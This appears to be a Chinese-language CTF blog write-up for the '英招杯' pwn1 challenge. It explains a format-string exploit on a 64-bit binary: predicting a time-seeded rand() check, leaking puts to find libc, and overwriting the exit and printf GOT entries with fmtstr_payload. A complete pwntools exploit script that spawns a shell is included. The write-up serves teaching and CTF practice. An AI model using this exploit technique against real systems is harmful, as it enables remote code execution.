英招杯pwn1(字符串格式化漏洞)

程序下载地址<提取码:play>

程序分析

逆向分析

分析过程

exp

fmtstr_payload()函数使用

printf手动修改got表

程序分析

image-20221115163848440

可以看到程序为64位程序

开启了Canary和NX

未开启PIE(难度降低)

逆向分析

image-20221115164114501

首当其冲的main函数,直接就可以发现存在字符串格式化漏洞;

在观察我们可以发现,我们此处只能利用一次字符串格式化漏洞;

所以我们需要想办法进行多次利用才能够实现getshell的目的;(经典 比赛想不到,赛后马后炮)

我们在进入CheckIn()函数中观察一下

image-20221115164423200

我们可以发现这里是一个guessnum的结构

就是要我们猜数字,只有输入的数值正确才能进入下一轮的字符串格式化漏洞的利用;

这里涉及到一个知识点:

srand是一个伪随机函数,当种子相同时,产生的随机数序列是相同的。所以我们可以通过相同的种子来绕过这个CheckIn()函数

生成随机数代码,通过ctypes包下的cdll来加载libc,这样才能执行libc下的函数

dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
dll.srand(dll.time(0))
rand = dll.rand()%5 + 48
p.sendlineafter(b"enter:", chr(rand))
log.success(f'rand num: {rand}')

分析过程

偏移计算

最简单的偏移观察,我们通过下面的输入来观察

payload = b'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'

观察aaaa出现在那个位置

image-20221115231444911

根据输出我们可以发现输入值的位置与存储的位置偏移量为8

地址泄露

输出对应puts函数的地址

puts_got的地址可以直接从IDA中寻找,也可以利用.got[‘puts’]方法

payload = b'AAAAAAAA' + b'%10$saaa' + p64(puts_got)

即可将puts函数的真实地址泄露出来,即可获得对应的libc版本和基址,方便我们后面的操作;

image-20221115232537626

漏洞利用

突破CheckIn()函数

之前已经说过了,通过相同的种子即可突破CheckIn()函数

根据地址泄露即可知道远程的libc版本,只要利用对应的libc版本即可

dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
dll.srand(dll.time(0))
rand = dll.rand()%5 + 48
p.sendlineafter(b"enter:", chr(rand))
log.success(f'rand num: {rand}')

突破printf单次利用

这里我们要实现的就是将exit函数的got表修改为main函数

使最后执行的指令不是exit,而是main,即成功实现多次利用。

payload =  fmtstr.fmtstr_payload(8, {exit_got: main_addr}, numbwritten=0, write_size='byte')

p.sendlineafter(b'ylogan: ', payload)

当然也可以选择手动构造payload去修改,但是我发现exit_got表存储的值有点奇怪。

可能需要修改8个字节的数据,太麻烦了!咱们直接调包吧!(当然也非常建议去了解一下内部原理,请参考 printf手动修改got表

完成这步以后,剩下的就相当容易了。

根据地址泄露我们已经能确定对应的libc版本,加载对应的libc,即可获得libc的基址

然后就可以获得system函数的加载地址

然后修改printf的got表为system函数的地址

最后通过程序中原本就有的read函数输入参数 /bin/sh

即可完成getshell。

exp

from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

# p = remote('43.139.145.52', 9001)
p = process('./pwn1')
elf = ELF('./pwn1')
puts_got = elf.got['puts']
exit_got = elf.got['exit']
printf_got = elf.got['printf']
log.success(f'printf_got: {hex(printf_got)}')
log.success(f'puts_got: {hex(puts_got)}')
log.success(f'exit_got: {hex(exit_got)}')

# srand是伪随机函数,当输入的种子相同时,产生的随机数序列是一致的
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def sendrand():
	dll.srand(dll.time(0))
	rand = dll.rand()%5 + 48
	p.sendlineafter(b'enter:', chr(rand).encode())
	log.success(f'rand num: {rand}')

# # 根据字符串格式化漏洞算出偏移为8
# payload = b'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
# payload = b''
# payload += b'%' + str(cnt) + b'c%8$hhn'
# payload += p64(exit_got+2)

# get the addr from ida
main_addr = 0x400906

sendrand()
# change the exit_got to main_addr
payload =  fmtstr.fmtstr_payload(8, {exit_got: main_addr}, numbwritten=0, write_size='byte')
p.sendlineafter(b'ylogan: ', payload)

sendrand()
payload = b'aaaa%9$s' + p64(puts_got)
p.sendlineafter(b'ylogan: ', payload)
p.recvuntil(b'aaaa')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'puts_addr: {hex(puts_addr)}')

libc_base = puts_addr - libc.symbols['puts']
log.success(f'libc_base: {hex(libc_base)}')

system_addr = libc_base + libc.symbols['system']
log.success(f'system_addr: {hex(system_addr)}')

sendrand()
payload = fmtstr.fmtstr_payload(8, {printf_got:system_addr}, numbwritten=0, write_size='byte')
p.sendlineafter(b'ylogan: ', payload)

sendrand()
p.sendlineafter(b'ylogan: ', b'/bin/sh')

p.interactive()

fmtstr_payload()函数使用

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

第一个参数offset表示格式化字符串的偏移;

第二个参数writes表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数改为system函数地址,就写成{printfGOT:systemAddress};

第三个参数numbwritten表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload

printf手动修改got表

64位格式化字符串漏洞修改got表利用详解-安全客 - 安全资讯平台 (anquanke.com)

想要学习手动修改got表可以参看该篇博客,可以说写得相当详细!!!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值